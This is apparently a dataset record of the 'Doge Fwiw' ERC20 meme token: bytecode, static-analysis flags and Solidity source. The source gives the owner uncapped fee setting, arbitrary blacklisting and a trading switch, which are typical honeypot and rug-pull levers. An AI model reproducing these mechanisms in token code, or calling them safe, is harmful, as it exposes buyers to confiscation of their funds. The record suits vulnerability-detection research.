6004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104f7565b600c805460ff60b81b1916600160b81b17905542600d81905561096190603c611b50565b600e55565b6000546001600160a01b031633146109905760405162461bcd60e51b81526004016104f790611ad6565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109db5760405162461bcd60e51b81526004016104f790611ad6565b600c54600160a01b900460ff1615610a435760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104f7565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a9a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610abe9190611b68565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2f9190611b68565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba09190611b68565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c365760405162461bcd60e51b81526004016104f790611ad6565b600855565b6000546001600160a01b03163314610c655760405162461bcd60e51b81526004016104f790611ad6565b6001600160a01b038116610cca5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f7565b61051681611449565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d1b57610d1b611b0b565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d989190611b68565b81600181518110610dab57610dab611b0b565b6001600160a01b039283166020918202929092010152600b54610dd19130911684610e4d565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e0a908590600090869030904290600401611b85565b600060405180830381600087803b158015610e2457600080fd5b505af1158015610e38573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610eaf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f7565b6001600160a01b038216610f105760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f7565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fd55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f7565b6001600160a01b0382166110375760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f7565b600081116110995760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f7565b6001600160a01b03831660009081526005602052604090205460ff16156111415760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104f7565b6001600160a01b03831660009081526004602052604081205460ff1615801561118357506001600160a01b03831660009081526004602052604090205460ff16155b80156111995750600c54600160a81b900460ff16155b80156111c95750600c546001600160a01b03858116911614806111c95750600c546001600160a01b038481169116145b1561137957600c54600160b81b900460ff166112275760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104f7565b50600c546001906001600160a01b0385811691161480156112565750600b546001600160a01b03848116911614155b8015611263575042600e54115b156112aa576000611273846106b7565b9050611293606461128d670de0b6b3a76400006002611499565b9061151b565b61129d848361155d565b11156112a857600080fd5b505b600d5442036112d7576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006112e2306106b7565b600c54909150600160b01b900460ff1615801561130d5750600c546001600160a01b03868116911614155b1561137757801561137757600c546113419060649061128d90600f9061133b906001600160a01b03166106b7565b90611499565b81111561136e57600c5461136b9060649061128d90600f9061133b906001600160a01b03166106b7565b90505b61137781610cd3565b505b611385848484846115bc565b50505050565b600081848411156113af5760405162461bcd60e51b81526004016104f791906118a5565b5060006113bc8486611bf6565b95945050505050565b600060065482111561142c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f7565b60006114366116bf565b9050611442838261151b565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826000036114ab5750600061052a565b60006114b78385611c0d565b9050826114c48583611c2c565b146114425760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f7565b600061144283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e2565b60008061156a8385611b50565b9050838110156114425760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f7565b80806115ca576115ca611710565b6000806000806115d98761172c565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116069085611773565b6001600160a01b03808b1660009081526001602052604080822093909355908a1681522054611635908461155d565b6001600160a01b038916600090815260016020526040902055611657816117b5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161169c91815260200190565b60405180910390a350505050806116b8576116b8600954600855565b5050505050565b60008060006116cc6117ff565b90925090506116db828261151b565b9250505090565b600081836117035760405162461bcd60e51b81526004016104f791906118a5565b5060006113bc8486611c2c565b60006008541161171f57600080fd5b6008805460095560009055565b6000806000806000806117418760085461183f565b91509150600061174f6116bf565b905060008061175f8a858561186c565b909b909a5094985092965092945050505050565b600061144283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061138b565b60006117bf6116bf565b905060006117cd8383611499565b306000908152600160205260409020549091506117ea908261155d565b30600090815260016020526040902055505050565b6006546000908190670de0b6b3a764000061181a828261151b565b82101561183657505060065492670de0b6b3a764000092509050565b90939092509050565b60008080611852606461128d8787611499565b905060006118608683611773565b96919550909350505050565b6000808061187a8685611499565b905060006118888686611499565b905060006118968383611773565b92989297509195505050505050565b600060208083528351808285015260005b818110156118d2578581018301518582016040015282016118b6565b818111156118e4576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051657600080fd5b803561191a816118fa565b919050565b6000806040838503121561193257600080fd5b823561193d816118fa565b946020939093013593505050565b60008060006060848603121561196057600080fd5b833561196b816118fa565b9250602084013561197b816118fa565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119b557600080fd5b823567ffffffffffffffff808211156119cd57600080fd5b818501915085601f8301126119e157600080fd5b8135818111156119f3576119f361198c565b8060051b604051601f19603f83011681018181108582111715611a1857611a1861198c565b604052918252848201925083810185019188831115611a3657600080fd5b938501935b82851015611a5b57611a4c8561190f565b84529385019392850192611a3b565b98975050505050505050565b600060208284031215611a7957600080fd5b8135611442816118fa565b60008060408385031215611a9757600080fd5b8235611aa2816118fa565b91506020830135611ab2816118fa565b809150509250929050565b600060208284031215611acf57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611b4957611b49611b21565b5060010190565b60008219821115611b6357611b63611b21565b500190565b600060208284031215611b7a57600080fd5b8151611442816118fa565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bd55784516001600160a01b031683529383019391830191600101611bb0565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c0857611c08611b21565b500390565b6000816000190483118215151615611c2757611c27611b21565b500290565b600082611c4957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209ff208f4dd0d809f582d6286353f06d60ba3bae701583d4002569042a1eaea9464736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,265 |
0x34376f81d8d0bda9a1f328a7a9befc54d6289697
|
/**
*Submitted for verification at Etherscan.io on 2022-03-14
*/
/*
https://t.me/dogefwiwelon
Elon's Hedge against Inflation
$FWIW
https://twitter.com/elonmusk/status/1503222294277197829
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract fwiwcontract is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Doge Fwiw";
string private constant _symbol = "FWIW";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 8;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x912f4Af34Dab093fb3Dc04c149155293fa0FE1db);
address payable private _marketingAddress = payable(0x912f4Af34Dab093fb3Dc04c149155293fa0FE1db);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 50000000000 * 10**9;
uint256 public _maxWalletSize = 50000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610555578063dd62ed3e14610575578063ea1644d5146105bb578063f2fde38b146105db57600080fd5b8063a2a957bb146104d0578063a9059cbb146104f0578063bfd7928414610510578063c3c8cd801461054057600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b057600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611961565b6105fb565b005b34801561020a57600080fd5b50604080518082019091526009815268446f6765204677697760b81b60208201525b6040516102399190611a26565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611a7b565b61069a565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50683635c9adc5dea000005b604051908152602001610239565b3480156102dc57600080fd5b506102626102eb366004611aa7565b6106b1565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b5060405160098152602001610239565b34801561032e57600080fd5b50601554610292906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611ae8565b61071a565b34801561036e57600080fd5b506101fc61037d366004611b15565b610765565b34801561038e57600080fd5b506101fc6107ad565b3480156103a357600080fd5b506102c26103b2366004611ae8565b6107f8565b3480156103c357600080fd5b506101fc61081a565b3480156103d857600080fd5b506101fc6103e7366004611b30565b61088e565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611ae8565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610292565b34801561045957600080fd5b506101fc610468366004611b15565b6108bd565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b506040805180820190915260048152634657495760e01b602082015261022c565b3480156104bc57600080fd5b506101fc6104cb366004611b30565b610905565b3480156104dc57600080fd5b506101fc6104eb366004611b49565b610934565b3480156104fc57600080fd5b5061026261050b366004611a7b565b610972565b34801561051c57600080fd5b5061026261052b366004611ae8565b60106020526000908152604090205460ff1681565b34801561054c57600080fd5b506101fc61097f565b34801561056157600080fd5b506101fc610570366004611b7b565b6109d3565b34801561058157600080fd5b506102c2610590366004611bff565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c757600080fd5b506101fc6105d6366004611b30565b610a74565b3480156105e757600080fd5b506101fc6105f6366004611ae8565b610aa3565b6000546001600160a01b0316331461062e5760405162461bcd60e51b815260040161062590611c38565b60405180910390fd5b60005b81518110156106965760016010600084848151811061065257610652611c6d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068e81611c99565b915050610631565b5050565b60006106a7338484610b8d565b5060015b92915050565b60006106be848484610cb1565b610710843361070b85604051806060016040528060288152602001611db3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ed565b610b8d565b5060019392505050565b6000546001600160a01b031633146107445760405162461bcd60e51b815260040161062590611c38565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078f5760405162461bcd60e51b815260040161062590611c38565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e257506013546001600160a01b0316336001600160a01b0316145b6107eb57600080fd5b476107f581611227565b50565b6001600160a01b0381166000908152600260205260408120546106ab90611261565b6000546001600160a01b031633146108445760405162461bcd60e51b815260040161062590611c38565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161062590611c38565b601655565b6000546001600160a01b031633146108e75760405162461bcd60e51b815260040161062590611c38565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092f5760405162461bcd60e51b815260040161062590611c38565b601855565b6000546001600160a01b0316331461095e5760405162461bcd60e51b815260040161062590611c38565b600893909355600a91909155600955600b55565b60006106a7338484610cb1565b6012546001600160a01b0316336001600160a01b031614806109b457506013546001600160a01b0316336001600160a01b0316145b6109bd57600080fd5b60006109c8306107f8565b90506107f5816112e5565b6000546001600160a01b031633146109fd5760405162461bcd60e51b815260040161062590611c38565b60005b82811015610a6e578160056000868685818110610a1f57610a1f611c6d565b9050602002016020810190610a349190611ae8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6681611c99565b915050610a00565b50505050565b6000546001600160a01b03163314610a9e5760405162461bcd60e51b815260040161062590611c38565b601755565b6000546001600160a01b03163314610acd5760405162461bcd60e51b815260040161062590611c38565b6001600160a01b038116610b325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610625565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610625565b6001600160a01b038216610c505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610625565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610625565b6001600160a01b038216610d775760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610625565b60008111610dd95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610625565b6000546001600160a01b03848116911614801590610e0557506000546001600160a01b03838116911614155b156110e657601554600160a01b900460ff16610e9e576000546001600160a01b03848116911614610e9e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610625565b601654811115610ef05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610625565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3257506001600160a01b03821660009081526010602052604090205460ff16155b610f8a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610625565b6015546001600160a01b0383811691161461100f5760175481610fac846107f8565b610fb69190611cb4565b1061100f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610625565b600061101a306107f8565b6018546016549192508210159082106110335760165491505b80801561104a5750601554600160a81b900460ff16155b801561106457506015546001600160a01b03868116911614155b80156110795750601554600160b01b900460ff165b801561109e57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c357506001600160a01b03841660009081526005602052604090205460ff16155b156110e3576110d1826112e5565b4780156110e1576110e147611227565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112857506001600160a01b03831660009081526005602052604090205460ff165b8061115a57506015546001600160a01b0385811691161480159061115a57506015546001600160a01b03848116911614155b15611167575060006111e1565b6015546001600160a01b03858116911614801561119257506014546001600160a01b03848116911614155b156111a457600854600c55600954600d555b6015546001600160a01b0384811691161480156111cf57506014546001600160a01b038581169116